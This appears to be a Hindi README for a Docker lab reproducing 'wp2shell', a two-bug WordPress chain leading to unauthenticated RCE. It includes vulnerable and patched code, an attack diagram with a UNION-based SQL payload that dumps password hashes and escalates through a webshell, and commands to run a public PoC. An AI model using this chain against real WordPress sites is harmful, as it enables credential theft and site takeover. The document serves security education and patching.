
wp2shell (CVE-2026-63030 & CVE-2026-60137) - पूर्ण RCE श्रृंखला
wp2shell WordPress कोर में दो स्वतंत्र रूप से कम-गंभीरता वाले बगों की एक श्रृंखला है, जो संयुक्त होने पर, एक अनधिकृत दूरस्थ हमलावर को यह अनुमति देती है:
| विशेषता | विवरण |
|---|---|
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 क्रिटिकल |
| प्रमाणीकरण आवश्यक | कोई नहीं (प्री-ऑथेंटिकेशन) |
| हमला वेक्टर | नेटवर्क |
| प्रभावित संस्करण | WordPress 6.9.0–6.9.4 और 7.0.0–7.0.1 |
| पैच किए गए संस्करण | 6.9.5 और 7.0.2 (17 जुलाई 2026 को जारी) |
फ़ाइल: wp-includes/rest-api/class-wp-rest-server.php
serve_batch_request_v1() दो समानांतर ऐरे बनाए रखता है: हैंडलर्स के लिए $matches[] और परिणामों के लिए $validation[]। जब कोई उप-अनुरोध WP_Error (टूटा हुआ पथ) के साथ विफल होता है, तो उसे $validation[] में डाल दिया जाता है लेकिन $matches[] में नहीं। यह +1 इंडेक्स शिफ्ट उत्पन्न करता है — उप-अनुरोध i को उप-अनुरोध i+1 के हैंडलर के साथ भेजा जाता है।
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
फ़ाइल: wp-includes/class-wp-query.php
author__not_in पैरामीटर पूर्णांकों की एक ऐरे की अपेक्षा करता है। जब एक स्ट्रिंग पास की जाती है, तो implode() कच्चे मान को सीधे SQL WHERE क्लॉज़ में जोड़ देता है — न कोई एस्केपिंग, न पैरामीटराइज़ेशन।
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| टूल | डाउनलोड |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (वैकल्पिक) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
आपको ये फ़ाइलें दिखाई देंगी:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
यह निम्न कार्य करेगा:
सत्यापित करें कि दोनों कंटेनर चल रहे हैं:
docker compose ps
अपेक्षित आउटपुट:
NAME STATUS
wp2shell-lab running
wp2shell-db running
अपने ब्राउज़र में http://localhost:9090 खोलें और निम्न भरें:
| फ़ील्ड | सुझाया गया मान |
|---|---|
| साइट शीर्षक | CVE-2026-63030 |
| उपयोगकर्ता नाम | admin |
| पासवर्ड | कोई भी पासवर्ड |
| ईमेल | [email protected] |
Install WordPress पर क्लिक करें, फिर लॉग इन करें।
इंस्टॉलेशन के बाद इसे एक बार चलाएँ:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
अपेक्षित आउटपुट:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
यदि आपको "namespaces" के साथ एक JSON प्रतिक्रिया दिखाई देती है — तो प्रयोगशाला तैयार है।
# Stop and remove everything including database
docker compose down -v
⚠️ केवल अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए। केवल उन्हीं सिस्टमों के विरुद्ध उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
पूर्ण एक्सप्लॉइटेशन श्रृंखला (डिटेक्शन → SQLi → एडमिन निर्माण → वेबशेल → RCE) निम्न में लागू की गई है:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
तीन फ़ाइलें, PHP की 10 पंक्तियों से भी कम:
| फ़ाइल | परिवर्तन |
|---|---|
class-wp-rest-server.php | ऐरे को सिंक में रखने के लिए $matches[] = null प्लेसहोल्डर |
class-wp-query.php | (array) कास्ट + array_map('absint', ...) |
class-wp-rest-posts-controller.php | REST परत पर समान सैनिटाइज़ेशन |
उपचार के लिए WordPress 6.9.5 या 7.0.2 में अपडेट करें।
| संसाधन | लिंक |
|---|---|
| GitHub Advisory (CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub Advisory (CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| सार्वजनिक PoC | https://github.com/Icex0/wp2shell-poc |
❤️ के साथ बनाया गया Black Security Team द्वारा
यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए है। उन सिस्टमों के विरुद्ध परीक्षण न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।